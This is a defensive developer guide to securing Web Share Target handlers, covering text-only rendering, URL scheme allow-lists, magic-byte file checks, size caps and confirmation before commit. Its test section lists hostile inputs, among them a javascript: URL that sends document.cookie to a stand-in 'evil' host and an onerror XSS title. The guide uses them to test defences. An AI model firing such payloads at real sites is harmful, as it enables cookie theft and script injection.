Securing Incoming Shared Payloads

This guide is part of Web Share Target API.

Registering as a share target turns your app into a receiver of content it did not create. The payload arrives looking legitimate — it came through the operating system share sheet, after all — but every field in it was authored elsewhere, and the endpoint that receives it is an ordinary URL that anything can navigate to. A malicious link can invoke your share target directly, with any title, any text, any URL.

That makes the receiving handler a trust boundary, and it needs the same treatment as any other public input: escape on output, validate schemes, verify file contents, and cap size before anything is persisted.

The Share Target Trust Boundary Requests arrive from the OS share sheet, from arbitrary links, and from other applications. All cross a trust boundary into the service worker handler, where four defences apply: text-only rendering, scheme validation, content-based file verification, and a size cap before storage. OS share sheet a link on any page another installed app a crafted form POST trust boundary share target handler 1 · textContent, never innerHTML 2 · URL scheme allow-list 3 · magic-number file check 4 · size cap before storage 5 · confirm before committing app state only validated, bounded data only after an explicit action

What Breaks Without This Pattern

Stored cross-site scripting. The handler drops the shared text into innerHTML to preview it. A payload containing markup executes on your origin, with access to the session, storage and service worker of the receiving app. Because share targets typically persist what they receive, the injection survives reloads.

Scheme confusion. The incoming url is used directly as an href. A javascript: value turns your preview link into script execution on click; a data: value renders attacker-controlled HTML in a context users believe is yours.

Type confusion on files. A file declared image/png is passed to an image pipeline or stored and re-served. Neither the filename nor the declared MIME type is evidence of anything — both are sender-controlled metadata.

Quota exhaustion. A single crafted POST carrying tens of megabytes is written straight to IndexedDB, filling the origin’s storage budget and evicting the user’s real queued shares. This overlaps directly with storage quota and eviction for share queues.

Prerequisites

Browser Support Snapshot

Capability Support Note
Web Share Target registration Chromium (Android, ChromeOS, desktop PWAs) Requires an installed app
POST targets with files Chromium Service worker must intercept the request
GET targets with query parameters Chromium Fields arrive in the URL — assume they are public
Safari / Firefox Not implemented Progressive enhancement; the app must work without it

Step 1 — Render as Text, Never as Markup

The single most important line: incoming strings go in through textContent.

// render-shared.js
export function renderSharedPreview(container, shared) {
  container.replaceChildren();               // clear without parsing anything

  const heading = document.createElement('h2');
  heading.textContent = shared.title ?? 'Untitled';    // never innerHTML

  const body = document.createElement('p');
  body.textContent = shared.text ?? '';

  container.append(heading, body);

  const safeUrl = safeHttpUrl(shared.url);
  if (safeUrl) {
    const anchor = document.createElement('a');
    anchor.href = safeUrl;                   // already validated
    anchor.textContent = safeUrl;
    anchor.rel = 'noopener noreferrer nofollow';
    container.append(anchor);
  }
}

textContent never parses markup, so no sanitiser library is needed for the common case. Reach for a sanitiser only when you genuinely intend to render rich content, and then run it over an explicit allow-list of elements and attributes.

Step 2 — Validate URLs Against a Scheme Allow-List

An allow-list, not a block-list: enumerate what is permitted rather than trying to enumerate what is dangerous.

// safe-url.js
const ALLOWED_SCHEMES = new Set(['http:', 'https:']);

export function safeHttpUrl(candidate) {
  if (typeof candidate !== 'string' || candidate.length > 2048) return null;

  let parsed;
  try {
    parsed = new URL(candidate);             // relative input throws — intentional
  } catch {
    return null;
  }

  if (!ALLOWED_SCHEMES.has(parsed.protocol)) return null;   // blocks javascript:, data:, blob:, file:
  return parsed.href;
}

The length cap matters as much as the scheme check. A megabyte-long data: URL costs nothing to send and can hang a render or blow a storage budget before any other validation runs.

Step 3 — Verify Files by Their Bytes

The declared type is a claim, not a fact. Confirm it against the leading bytes.

// verify-file-type.js
const SIGNATURES = [
  { type: 'image/png',       bytes: [0x89, 0x50, 0x4e, 0x47] },
  { type: 'image/jpeg',      bytes: [0xff, 0xd8, 0xff] },
  { type: 'image/gif',       bytes: [0x47, 0x49, 0x46, 0x38] },
  { type: 'application/pdf', bytes: [0x25, 0x50, 0x44, 0x46] }
];

export async function detectType(file) {
  const header = new Uint8Array(await file.slice(0, 12).arrayBuffer());
  const match = SIGNATURES.find(({ bytes }) => bytes.every((b, i) => header[i] === b));
  return match?.type ?? null;
}

export async function acceptFile(file, allowed = ['image/png', 'image/jpeg']) {
  const actual = await detectType(file);
  if (!actual) return { ok: false, reason: 'unrecognised-content' };
  if (!allowed.includes(actual)) return { ok: false, reason: 'type-not-allowed', actual };
  if (actual !== file.type) return { ok: false, reason: 'type-mismatch', declared: file.type, actual };
  return { ok: true, type: actual };
}

Reading only the first twelve bytes keeps this cheap even for large files, because file.slice() does not load the whole thing. The type-mismatch case is worth logging separately: a file whose declared type disagrees with its content is either a broken sender or a deliberate probe.

Step 4 — Cap the Payload Before Storing It

Size limits belong in the service worker, before anything reaches storage.

// sw-share-target.js
const MAX_TOTAL_BYTES = 25_000_000;
const MAX_FILES = 10;
const MAX_TEXT_CHARS = 20_000;

self.addEventListener('fetch', (event) => {
  const url = new URL(event.request.url);
  if (event.request.method === 'POST' && url.pathname === '/share-target') {
    event.respondWith(handleShare(event.request));
  }
});

async function handleShare(request) {
  const form = await request.formData();
  const files = form.getAll('media').filter((entry) => entry instanceof File);

  if (files.length > MAX_FILES) return redirectWithError('too-many-files');

  const bytes = files.reduce((total, file) => total + file.size, 0);
  if (bytes > MAX_TOTAL_BYTES) return redirectWithError('payload-too-large');

  const text = (form.get('text') ?? '').toString().slice(0, MAX_TEXT_CHARS);
  const title = (form.get('title') ?? '').toString().slice(0, 300);

  await stagePendingShare({ title, text, url: form.get('url'), files });
  return Response.redirect('/share-target/review', 303);   // confirm, do not commit
}

function redirectWithError(code) {
  return Response.redirect(`/share-target/error?code=${encodeURIComponent(code)}`, 303);
}

Truncating rather than rejecting oversized text is a deliberate asymmetry: a long note is a usability problem, while a hundred-megabyte file set is a resource problem. Only the second one needs to fail the request.

Validation Pipeline for an Incoming Share An incoming POST passes through five checks in order: file count, total byte size, text truncation, URL scheme validation and per-file magic-number verification. Only a payload that survives all five is staged for user confirmation; failures redirect to an error view. POST arrives fully untrusted file count ≤ 10 total bytes ≤ 25 MB text length truncated URL scheme http / https only magic numbers bytes match the type staged → review screen → user confirms → committed nothing is written to the account before the confirmation any check fails 303 → error view nothing stored reason logged

Step 5 — Confirm Before Committing

A share target cannot carry a CSRF token, because the browser composes the request — there is nowhere for your token to come from. The defence is therefore not authentication of the request but confirmation of the effect.

// review-share.js
import { renderSharedPreview } from './render-shared.js';
import { acceptFile } from './verify-file-type.js';

export async function showReview(container, staged, onConfirm) {
  renderSharedPreview(container, staged);

  const verified = [];
  for (const file of staged.files) {
    const result = await acceptFile(file);
    if (result.ok) verified.push(file);
  }

  const confirm = document.createElement('button');
  confirm.type = 'button';
  confirm.textContent = `Save ${verified.length} item(s)`;
  confirm.addEventListener('click', () => onConfirm({ ...staged, files: verified }));
  container.append(confirm);
}

Landing on a review screen rather than committing directly closes the whole class of attack where a link silently causes a write to the user’s account. It is also better product design: the user sees what arrived before it becomes part of their data, which is exactly what forwarding received shares to app state recommends for unrelated reasons.

Platform Gotchas

GET targets put the payload in the URL. Query parameters land in history, in referrers, and in server logs. Never register a GET target for anything sensitive.

The service worker sees the request before any page does. That is where size limits belong — a page-level check runs after the bytes have already been received and buffered.

A file’s name is attacker-controlled. Never use it to build a storage key or a filesystem path. Generate your own identifier and keep the original name as display metadata only.

CSP still applies to your own render. A strict script-src without unsafe-inline turns a missed sanitisation into a blocked script rather than a compromised session — defence in depth, not a substitute for textContent.

Test Payloads No Share Sheet Will Send You Four crafted requests exercise the defences: a javascript URL, a title containing markup, a half-megabyte text field, and a file named as a PNG whose bytes are a PDF. Each should end at the error view or a harmless text render, and none should reach storage. url=javascript:fetch('//evil/'+document.cookie) → rejected by the scheme allow-list title=<img src=x onerror=…> → rendered as literal characters by textContent text of 500 KB → truncated at the documented cap, not rejected holiday.png whose first bytes are %PDF → type-mismatch, refused before storage

Testing and Verification

Craft the hostile cases yourself, because no share sheet will produce them. Build an HTML form that POSTs directly to your share target with a javascript: URL, a title containing markup, a text field of half a megabyte, and a .png file whose bytes are a PDF. Every one should end at the error view or a harmless text render, and none should reach storage. Then confirm the honest path still works from a real device, and check that a rejected payload leaves no partial record behind — a half-written entry is its own kind of bug, and the reason validation runs before staging rather than after.

Why This Endpoint Is Different

Most input validation on the web guards a form the application itself rendered. A share target guards something stranger: an endpoint the operating system invokes, carrying content authored by software you have never seen, arriving in a browser context that looks entirely legitimate to the user.

Three properties make it worth treating as its own category.

There is no token to check. The browser composes the request from your manifest, so the usual proof that a request came from your own page cannot exist. Any secret placed in the manifest is public by definition. That single constraint is why the defence has to move from authenticating the request to limiting what the request can cause.

The payload arrives pre-trusted in the user’s mind. They chose your app from a system sheet, so whatever appears next reads as legitimate. A crafted title rendered as markup is more dangerous here than in a comment field, because nothing about the flow invites suspicion.

The endpoint is reachable without the sheet. The action URL is an ordinary address. A link on any page, a form on any origin, or another installed app can invoke it directly, with fields of their choosing. The share sheet is a convenience for real users, never a boundary that keeps anyone else out.

Taken together these mean the receiving handler needs the posture of a public API endpoint — output encoding, scheme allow-lists, content-based type checks, size caps, and no state change without a confirmation — rather than the posture of an internal form handler.

Where Each Defence Actually Sits

The five defences in this guide operate at different layers, and it helps to know which one catches what — because a check in the wrong place either runs too late to matter or duplicates one that already ran.

The service worker is the earliest point your code exists. It sees the request before any document, which makes it the only place a payload can be refused before its bytes are buffered and stored. Size caps, file counts and the malformed-body check belong here and nowhere else.

The staging write is the transaction boundary. Because the whole share is one record in one transaction, it is also the point at which “partially accepted” stops being possible. Validation that decides whether anything is stored belongs before it; anything after it is operating on data that already exists.

The review screen is where the user re-enters the flow. It is the only layer that can distinguish a share someone meant from one a crafted link produced, and it does so without any cryptographic machinery — the user simply looks at what arrived. This is what replaces the CSRF token that a share target cannot carry.

The render path is where untrusted strings meet the DOM. textContent and the URL scheme allow-list live here, and they have to be applied every time the content is displayed rather than once on ingest, because a value that was safe to store is not automatically safe to render into an attribute.

The re-encode step, where present, is the last layer and the most expensive. It applies only to content you will serve back to other people, and it is the only defence that removes what magic-byte checking cannot see: trailing data appended after a valid header, embedded metadata, and format quirks that different decoders disagree about.

Reading the guide with that layering in mind makes the omissions obvious too. There is no defence at the operating-system layer, because none is available; and there is no authentication of the request itself, because the platform provides nothing to authenticate with. Everything here compensates for those two gaps rather than filling them.

FAQ

Can another site send a payload to my share target?

Yes. The registered endpoint is an ordinary URL, so anything that can navigate the browser can reach it — a link, a form, another installed app. The share sheet is not an authentication boundary, and nothing about an incoming request proves a human chose to share it.

Is the shared text safe to put in innerHTML?

No. It is attacker-controlled input arriving at your origin, so assigning it to innerHTML is a cross-site scripting vulnerability. Use textContent, which never parses markup, and build any link element programmatically after validating the URL.

Can I trust the MIME type on a shared file?

No. The type and the filename are both metadata that the sender controls, so a file declared as image/png may contain anything. Read the first bytes and check the magic number before treating the content as an image, and never rely on the extension for a security decision.

Does the share target need CSRF protection?

It needs the equivalent. A POST share target cannot carry a token because the browser composes the request, so protect the state change instead: land on a confirmation view rather than committing immediately, and require an explicit user action before anything is saved to an account.